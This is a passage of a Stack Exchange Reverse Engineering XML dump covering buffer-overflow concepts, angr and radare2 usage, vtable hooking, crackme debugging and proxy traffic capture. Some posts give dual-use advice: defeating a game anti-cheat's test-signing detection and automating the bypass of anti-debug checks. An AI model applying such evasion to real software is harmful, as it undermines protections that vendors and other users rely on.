LastActivityDate="2018-08-27T23:18:51.310" Title="How to reach functions triggered by non-standard buttons?" Tags="|windows|x64dbg|crackme|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19162" PostTypeId="1" AcceptedAnswerId="19163" CreationDate="2018-08-27T05:58:34.227" Score="2" ViewCount="840" Body="&lt;p&gt;I have read many articles regarding the buffer overflow exploit. Everywhere its written as follow.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;It's difficult to know the starting address of the shellcode&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why do we need to know the address of the shellcode? Why does stack not execute the shellcode as it is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;say we inject our shellcode this way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;our shellcode -- some padding -- our choice of saved return&#xA;address&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;should the shellcode not be executed by default by the stack? Why do we add NOP sleds and complicate things.&lt;/p&gt;&#xA;" OwnerUserId="25461" LastActivityDate="2020-08-29T11:35:38.750" Title="Why do we need to know the address of shellcode?" Tags="|disassembly|assembly|gdb|buffer-overflow|shellcode|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19163" PostTypeId="2" ParentId="19162" CreationDate="2018-08-27T07:55:29.340" Score="1" Body="&lt;p&gt;Exploiting a software by injecting a shellcode in its memory always requires the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Have a way to inject your shellcode in memory (usually, it can take place in any buffer of the program).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Redirect the execution flow (i.e. be able to write on the &lt;code&gt;rip&lt;/code&gt;) to point to the shellcode and execute it (usually, it is done through a buffer-overflow).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you are not sure about the address of your shellcode, the second part of the exploitation (the redirection of the &lt;code&gt;eip&lt;/code&gt;) cannot be achieved reliably.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-08-27T15:02:58.630" LastActivityDate="2018-08-27T15:02:58.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19164" PostTypeId="1" CreationDate="2018-08-27T11:43:58.280" Score="2" ViewCount="1818" Body="&lt;p&gt;I want to solve this very basic crackme using angr:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main(int argc, char *argv[]) {&#xA;    char buffer[64];&#xA;    printf(&quot;Mot de passe:\n&quot;);&#xA;    scanf(&quot;%64s&quot;,buffer);&#xA;    if (strcmp(buffer,&quot;super!&quot;)==0)&#xA;    {&#xA;        printf(&quot;Bravo!\n&quot;);&#xA;    }&#xA;    else&#xA;    {&#xA;        printf(&quot;Perdu1!\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine with this python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;from angr.state_plugins import SimSystemPosix&#xA;&#xA;p = angr.Project('./a.out', load_options={'auto_load_libs': False})&#xA;&#xA;sm = p.factory.simulation_manager()&#xA;sm.explore(find= 0x400000+0x0000119f, avoid= 0x400000+ 0x000011ad)&#xA;&#xA;print(sm.found[0].posix.dumps(0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, if I change &lt;code&gt;&quot;super!&quot;&lt;/code&gt; password in my crackme with a password that contains spaces, angr doesn't find any solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;fgets&lt;/code&gt; instead of &lt;code&gt;scanf&lt;/code&gt; gets the same result; If the password contains a space, angr does not found any password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, i have updated find and avoid addresses each time i recompile my c program.&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="2147" LastEditDate="2018-08-27T20:31:35.423" LastActivityDate="2018-09-27T17:01:13.357" Title="problem with scanf/fgets in angr stdin exploration" Tags="|c|angr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19165" PostTypeId="1" AcceptedAnswerId="19166" CreationDate="2018-08-27T11:53:19.617" Score="2" ViewCount="328" Body="&lt;p&gt;Let's take an example of a 64 bits elf executable disassembled with pdf command in radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;0x00400ac0      0f859c000000   jne 0x400b62&#xA;...&#xA;0x00400b62      90             nop&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to put a label on 0x00400b62 line. It is called a &quot;flag&quot; in radare2. So i type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxxxxx&amp;gt; f mylabel @ 0x00400b62&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is great because i can see my flag when i disassemble again with pdf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;-- mylabel:&#xA;0x00400b62      90       nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i still see 0x400b62 in jump instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00400ac0      0f859c000000   jne 0x400b62&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00400ac0      0f859c000000   jne mylabel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2018-08-27T12:47:34.427" Title="radare2 labels are not displayed in jmp instructions" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19166" PostTypeId="2" ParentId="19165" CreationDate="2018-08-27T12:41:19.337" Score="5" Body="&lt;p&gt;You should use a flag name which is separated by a dot. This is intended since registers and other stuff are also flags and to avoid overriding and confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, instead of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x140008f9c]&amp;gt; f mylabel @ 0x140008fde&#xA;[0x140008f9c]&amp;gt; pdf&#xA;...&#xA;|           0x140008fd5      85c0           test eax, eax&#xA;|       ,=&amp;lt; 0x140008fd7      7505           jne 0x140008fde&#xA;|       |   0x140008fd9      66895c2470     mov word [local_70h], bx&#xA;|       |   ;-- mylabel:&#xA;|       `-&amp;gt; 0x140008fde      3d04010000     cmp eax, 0x104             ; 260&#xA;|       ,=&amp;lt; 0x140008fe3      7511           jne 0x140008ff6&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Name it like this (&lt;code&gt;loc.mylabel&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x140008f9c]&amp;gt; fr mylabel loc.mylabel&#xA;[0x140008f9c]&amp;gt; pdf&#xA;...&#xA;|           0x140008fd5      85c0           test eax, eax&#xA;|       ,=&amp;lt; 0x140008fd7      7505           jne loc.mylabel&#xA;|       |   0x140008fd9      66895c2470     mov word [local_70h], bx&#xA;|       |   ;-- loc.mylabel:&#xA;|       `-&amp;gt; 0x140008fde      3d04010000     cmp eax, 0x104             ; 260&#xA;|       ,=&amp;lt; 0x140008fe3      7511           jne 0x140008ff6&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-08-27T12:47:34.427" LastActivityDate="2018-08-27T12:47:34.427" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19167" PostTypeId="2" ParentId="19147" CreationDate="2018-08-27T13:08:28.310" Score="3" Body="&lt;p&gt;You are absolutely on the right track &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A* a = new A();&#xA;...&#xA;a-&amp;gt;doThing()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is not going to bother with the vtable at all. Because &lt;code&gt;a&lt;/code&gt; can only be of &lt;code&gt;A&lt;/code&gt; type. MSVC will still create the vftable, but in that context &lt;code&gt;a-&amp;gt;doThing()&lt;/code&gt; will just become &lt;code&gt;A::doThing()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, I fixed up your example into my own to demonstrate that you were correct, you just needed to call &lt;code&gt;doThing&lt;/code&gt; through some level of inheritance to trigger the vftable lookup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The A_vftable struct also provides a better representation of what the vtable would be if you could see it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Base {&#xA;public:&#xA;    void virtual VirtualMethod1() = 0;&#xA;    void virtual VirtualMethod2() = 0;&#xA;};&#xA;&#xA;class A : public Base {&#xA;public:&#xA;    A() {&#xA;        printf(&quot;A Constructor\n&quot;);&#xA;    }&#xA;&#xA;    void virtual VirtualMethod1() {                 &#xA;        printf(&quot;VirtualMethod1\n&quot;);&#xA;    }&#xA;&#xA;    void virtual VirtualMethod2() {&#xA;        printf(&quot;VirtualMethod2\n&quot;);  &#xA;    }&#xA;};&#xA;&#xA;struct A_vftable {&#xA;    void(*VirtualMethod1)(A* self);&#xA;    void(*VirtualMethod2)(A* self);&#xA;};&#xA;&#xA;int main() {&#xA;&#xA;    A a;&#xA;    A_vftable* vtable = *(A_vftable**)&amp;amp;a;&#xA;&#xA;    vtable-&amp;gt;VirtualMethod1(&amp;amp;a);&#xA;    a.VirtualMethod1();&#xA;&#xA;    DWORD oldprotect;&#xA;    VirtualProtect(vtable, sizeof(vtable), PAGE_EXECUTE_READWRITE, &amp;amp;oldprotect);&#xA;    vtable-&amp;gt;VirtualMethod1 = vtable-&amp;gt;VirtualMethod2;&#xA;    VirtualProtect(vtable, sizeof(vtable), oldprotect, NULL);&#xA;&#xA;    a.VirtualMethod1(); // calls A::VirtualMethod1()&#xA;    Base* b = &amp;amp;a;&#xA;    b-&amp;gt;VirtualMethod1(); // calls our redirected function&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Oh and &lt;code&gt;void dynamicOverride()&lt;/code&gt; actually has different arguments to &lt;code&gt;virtual void doThing()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;doThing()&lt;/code&gt; is actually &lt;code&gt;void __thiscall doThing(A* this)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;since &lt;code&gt;dynamicOverride()&lt;/code&gt; is missing the arg here, it's bad, but not catastrophic because in a &lt;code&gt;__thiscall&lt;/code&gt; the first arg is passed through ECX. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not knowing this is a good way to blow the stack, and yourself up later down the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always replace a hooked function with one that handles the args/calling convention exactly.&lt;/p&gt;&#xA;" OwnerUserId="25462" LastEditorUserId="2147" LastEditDate="2018-08-27T20:32:52.387" LastActivityDate="2018-08-27T20:32:52.387" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19168" PostTypeId="1" AcceptedAnswerId="19170" CreationDate="2018-08-27T13:41:56.003" Score="1" ViewCount="1157" Body="&lt;p&gt;I use Windows 7 64 bit, thus in order to load a test-signed driver, I need to enable test-signing mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My driver bypasses some of the game's anti-cheat features to allow me to run a debugger and attach to the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I enable the test-signing mode and launch the game, its anti-cheat service detects test-signing is enabled and terminates the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to disable the driver signature enforcement by restarting the computer and pressing &lt;kbd&gt;F8&lt;/kbd&gt;, although the result is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about a possible solution: set the &lt;code&gt;g_CiEnabled&lt;/code&gt; variable to &lt;code&gt;TRUE&lt;/code&gt; after the game's run (however, as I can't run my driver, I'd need to find a vulnerability in a signed driver and set it from there, although I think it's not worth doing all that stuff.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to run the test-signed driver on 64 bit system without test-signing mode?&lt;/p&gt;&#xA;" OwnerUserId="25152" LastEditorUserId="2147" LastEditDate="2018-08-27T20:28:00.310" LastActivityDate="2024-04-05T14:59:08.550" Title="Game's anti-cheat complains when driver test-signing mode is on" Tags="|windows|x86-64|kernel-mode|driver|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19169" PostTypeId="1" CreationDate="2018-08-27T17:44:52.037" Score="1" ViewCount="1127" Body="&lt;p&gt;I'm playing a Japanese Unity game on my phone. I've translated everything that exist in the apk to English but the game downloads new content once you run the apk for the first time. Is there any way to access/extract the assembly-csharp from the data the game install on the phone? It's hidden within all the &quot;12371asdhasudhdasd.dat&quot; files. I can extract everything withing those files but the assembly file is a no go, just says it can't be found. It's no problem getting the file from the apk but since the game download new data once I run the installed app, it's gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know people don't like it when you reverse the code and I'm sorry for asking, it's just that I like this game and they won't release an English version of it. I'm only doing this for my own purpose, not to release a mod or anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm breaking any rules by asking this, you could just answer yes or no on the question and I'll keep digging if it's a yes.&lt;/p&gt;&#xA;" OwnerUserId="25470" LastEditorDisplayName="user12114" LastEditDate="2018-11-22T07:19:55.463" LastActivityDate="2018-11-22T07:19:55.463" Title="Is there any way to access assembly-csharp from installed apk? (unity game, gamedata)" Tags="|apk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19170" PostTypeId="2" ParentId="19168" CreationDate="2018-08-27T20:05:34.723" Score="1" Body="&lt;p&gt;Sometimes the answer can really be more simple then you'd think.&lt;/p&gt;&#xA;&lt;p&gt;One approach you could take is that instead of getting your driver to load without test-signing (which seems to be your initial direction of approach), you could &lt;em&gt;prevent the debugged executable from detecting test-signing it on&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/e6c1be93-7003-4594-b8e4-18ab4a75d273/detecting-testsigning-onoff-via-api?forum=windowsgeneraldevelopmentissues&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; is a link with a few suggestions on how one may detect if test-signing is enabled or not, you can search for similar looking code (e.g. calls to &lt;code&gt;NtQuerySystemInformation&lt;/code&gt; with the &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/codeintegrity.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SystemCodeIntegrityInformation&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;An alternative solution if your main goal is researching the executable at hand, you could consider using windows versions &lt;em&gt;prior to Vista&lt;/em&gt;, where loading your own drivers is far easier.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="245" LastEditDate="2024-04-05T14:59:08.550" LastActivityDate="2024-04-05T14:59:08.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19171" PostTypeId="2" ParentId="19164" CreationDate="2018-08-27T20:15:46.123" Score="2" Body="&lt;p&gt;That's because by doing so, you accidentally make the crackme &lt;em&gt;unsolvable&lt;/em&gt;. Due to how &lt;code&gt;scanf&lt;/code&gt; works with &lt;code&gt;%s&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the C &lt;a href=&quot;http://www.cplusplus.com/reference/cstdio/scanf/&quot; rel=&quot;nofollow noreferrer&quot;&gt;reference sheet&lt;/a&gt;, &lt;a href=&quot;https://linux.die.net/man/3/scanf&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Scanf_format_string&quot; rel=&quot;nofollow noreferrer&quot;&gt;multiple sources&lt;/a&gt; (seriously, google is full of scanf documentation pages describing that):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;%s&lt;/code&gt; : Scan a character string. The scan terminates at whitespace. A null character is stored at the end of the string, which means that the buffer supplied must be at least one character longer than the specified input length.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;scanf will immediately stop reading characters into a string denoted with &lt;code&gt;%s&lt;/code&gt; once a whitespace character (space included, obviously) is encountered. Even if you manually enter the correct password by hand into your newly created executable you'll get the error message instead of the success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, &lt;code&gt;gets&lt;/code&gt; behaves the same when it comes to whitespaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But you can solve the crackme by hand, it appears&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this appears not to be the behavior you experience in your program, for some unknown reason, this is still the behavior angr &lt;em&gt;assumes&lt;/em&gt; when handling &lt;code&gt;scanf&lt;/code&gt; and &lt;code&gt;scanf&lt;/code&gt;-like library functions. It is perhaps not widely known that angr, to avoid path explosion at the first encounter of a string library function, does not &quot;natively&quot; handle those functions like any other encountered function. In favor of efficiency and speed, angr &quot;cheats&quot; around library functions, format string functions included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that purpose angr has its own &lt;a href=&quot;https://github.com/angr/angr/blob/master/angr/procedures/libc/scanf.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;scanf function implementation&lt;/a&gt; in python, and that implementation follows the standard. You can see that &lt;code&gt;scanf&lt;/code&gt; delimiters are &lt;a href=&quot;https://github.com/angr/angr/blob/master/angr/procedures/stubs/format_parser.py#L17&quot; rel=&quot;nofollow noreferrer&quot;&gt;defined&lt;/a&gt; and &lt;a href=&quot;https://github.com/angr/angr/blob/master/angr/procedures/stubs/format_parser.py#L130&quot; rel=&quot;nofollow noreferrer&quot;&gt;used&lt;/a&gt; to delimit &lt;code&gt;scanf&lt;/code&gt;s possible output. Issues with &lt;code&gt;scanf&lt;/code&gt; are even documented in &lt;a href=&quot;https://docs.angr.io/docs/gotchas.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;angr's gotchas page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, our scanf implementation is not complete, but if you just need to support a single, known format string, you can write a hook to do exactly that.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One way to avoid that is to modify the &lt;code&gt;scanf&lt;/code&gt; implementation to something that does not consider whitespaces as delimiters. Another option is to disable that behavior by passing &lt;code&gt;exclude_sim_procedures_list=['scanf']&lt;/code&gt; as argument to your &lt;code&gt;Project&lt;/code&gt;. You could also, as the gotcha's page suggest, implement something specific for your scenario.   &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-08-28T16:38:49.160" LastActivityDate="2018-08-28T16:38:49.160" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19172" PostTypeId="2" ParentId="19161" CreationDate="2018-08-27T20:16:02.253" Score="1" Body="&lt;p&gt;open crackme in windbg set a bp on GetWindowTextW and run enter some fake &#xA;data and hot register button  on break go up to the next frame which called the function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb crackme1.exe&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.16299.15 X86&#xA;0:000&amp;gt; bp USER32!GetWindowTextW&#xA;0:000&amp;gt; g&#xA;&#xA;&#xA;Breakpoint 0 hit&#xA;*** WARNING: Unable to verify timestamp for D:\crackme1.exe&#xA;*** ERROR: Module load completed but symbols could not be loaded for D:\crackme1.exe&#xA;&#xA;USER32!GetWindowTextW:&#xA;772db8c5 6a08            push    8&#xA;0:000&amp;gt; dd esp l4&#xA;015ef760  005312bf 000603a8 000bb324 0000000c&#xA;0:000&amp;gt; dc bb324 l8&#xA;000bb324  00650052 00690067 00740073 00720065  R.e.g.i.s.t.e.r.&#xA;000bb334  00690000 00000074 00000000 abababab  ..i.t...........&#xA;&#xA;0:000&amp;gt; gu&#xA;eax=0000000b ebx=00118988 ecx=772db928 edx=00000030 esi=015efa4c edi=015efa5c&#xA;eip=005312bf esp=015ef770 ebp=015ef7b0 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;crackme1+0x1312bf: &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;005312bf 8945f4          mov     dword ptr [ebp-0Ch],eax ss:0023:015ef7a4=0000000b&#xA;0:000&amp;gt; dc bb324 l8&#xA;000bb324  00610079 006b006b 00200075 00610062  y.a.k.k.u. .b.a.&#xA;000bb334  006b006b 00000075 00000000 abababab  k.k.u...........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-08-27T20:16:02.253" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19173" PostTypeId="5" CreationDate="2018-08-27T22:57:43.113" Score="0" Body="&lt;p&gt;Please do not use this tag. It is uninformative and redundant. For more information see the &lt;a href=&quot;http://%20https://reverseengineering.meta.stackexchange.com/questions/369/should-we-keep-the-reverse-engineering-tag&quot; rel=&quot;nofollow noreferrer&quot;&gt;related meta discussion&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-08-27T22:57:43.113" LastActivityDate="2018-08-27T22:57:43.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19174" PostTypeId="4" CreationDate="2018-08-27T22:57:43.113" Score="0" Body="Please do not use this tag. It is uninformative and redundant. For more information see the related meta discussion." OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-08-27T22:57:43.113" LastActivityDate="2018-08-27T22:57:43.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19175" PostTypeId="2" ParentId="19161" CreationDate="2018-08-27T23:18:51.310" Score="1" Body="&lt;p&gt;The problem here is not to solve the crackme, but to find the handler of the &quot;Register&quot; button. I describe what could be done to find the button handler. There is probably no &quot;generic&quot; standard procedure working in all similar cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, although this is a special case, I assumed normal &quot;generic&quot; windows message behaviour. In that case I can expect somewhere a &lt;code&gt;WM_LBUTTONX&lt;/code&gt; message, X being &lt;code&gt;UP&lt;/code&gt; or &lt;code&gt;DOWN&lt;/code&gt;, with values &lt;code&gt;0x201&lt;/code&gt; or &lt;code&gt;0x202&lt;/code&gt;. Thus I searched statically for the value &lt;code&gt;200h&lt;/code&gt; in Ida, this being the start  of the &quot;Mouse group&quot; in the Windows &lt;code&gt;WM_&lt;/code&gt; messages set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of locations found where a compare is made with &lt;code&gt;0x200&lt;/code&gt;. On these I set a breakpoint. Two of these are hit on mouseclicks, and one of them investigates explicitely &lt;code&gt;0x201 (WM_LBUTTONDOWN)&lt;/code&gt; and &lt;code&gt;0x202 (WM_LBUTTONUP)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9Qqkr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Qqkr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you step futher down the &lt;code&gt;WM_LBUTTONUP&lt;/code&gt; path you come directly to the following location, with a call to &lt;code&gt;f_someMsgHandler&lt;/code&gt; (as I called it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i0D6J.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i0D6J.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function is called on several occasions, but the one corresponding to the mouse event is easily found, e.g. by setting a selective breakpoint. In this function, the following location leads directly to the handler of &lt;code&gt;WM_LBUTTONUP&lt;/code&gt; of the &quot;Register&quot; button, being located at address &lt;code&gt;0x4fead0&lt;/code&gt; (that address unfortunately hidden in the tooltip):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qHu5l.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qHu5l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the crackme, it would possibly be easier to look for something like &quot;GetWindowText&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shows, that in contrast to the OP's remark, it is very well possible to follow the trace of the standard windows mouse messages in order to find the proper handler.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-08-27T23:18:51.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19176" PostTypeId="1" CreationDate="2018-08-28T06:54:40.070" Score="2" ViewCount="373" Body="&lt;p&gt;I am using capstone in python in order to dissassemble binary instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to work in the reverse mode ? I mean typing some asm instructions and ask capstone (in python) to generate binary  (I mean raw binary, whithout ELF or PE)&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="53" LastEditDate="2018-08-28T08:37:56.487" LastActivityDate="2018-08-28T08:37:56.487" Title="Capstone in reverse mode" Tags="|assembly|capstone|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19178" PostTypeId="1" AcceptedAnswerId="19181" CreationDate="2018-08-28T22:34:50.660" Score="2" ViewCount="7966" Body="&lt;p&gt;I'm working on bypassing the anti-debug checks of an unpacker in x64dbg. My end goal is to bypass all of the checks so that I can run the (unmodified) process with a debugger attached without any problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bypass the checks I've encountered so far, I have a process of ~15 actions of setting breakpoints, stepping over instructions, skipping syscalls under certain conditions, etc, and it takes at least a couple of minutes to get up to the point where I left off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since doing this stuff manually is time-consuming and error-prone, I'd like to automate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of building a C++ application that will launch the executable, attach and bypass all of the checks I've solved so far, then suspend the program and detach, so that I can attach with x64dbg and resume my reversing... or perhaps it's a better idea to do this with an x64dbg plugin? What's the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="24467" LastEditorUserId="24467" LastEditDate="2018-08-29T03:02:54.637" LastActivityDate="2018-08-29T14:15:59.687" Title="Automating bypassing anti-debug checks" Tags="|unpacking|x64dbg|automation|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19179" PostTypeId="1" CreationDate="2018-08-29T09:26:48.433" Score="2" ViewCount="28933" Body="&lt;p&gt;I'm looking for an IDA free version previous to 7.0 so I can use it in x86 systems, the current one being only x64, but can't seem to find one and it doesn't look like I saved one neither.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where to get one? Or perhaps mind sharing one? (Kind of risky actually, but...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's great that even the free version is x64 now, but my RE VMs are mostly x86 so it's quite unconvenient for myself.&lt;/p&gt;&#xA;" OwnerUserId="25490" LastActivityDate="2018-11-30T04:28:39.563" Title="Older versions of IDA free?" Tags="|ida|x86|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19180" PostTypeId="1" AcceptedAnswerId="27059" CreationDate="2018-08-29T09:55:53.030" Score="-1" ViewCount="1372" Body="&lt;p&gt;I'm analyzing Android games with Fiddler 2 to see how the game collects data.&#xA;There is a problem, both Fiddler 2 and Charles Proxy doesn't capture any traffic from some online games. All i got are ads traffics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have ensure that I have enabled proxy on Android system, have certificate installed, filtered target process and check if https decryption is working. All fine. I have reseted cert and fiddler 2 but it doesn't help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard it uses socket system, i don't know excatly what he meant.&#xA;This online game requests a lot of data. I checked logcat and i see that the game retrieved some json data but there is not enough infomation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm missing something there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/phWHj.png&quot; rel=&quot;nofollow 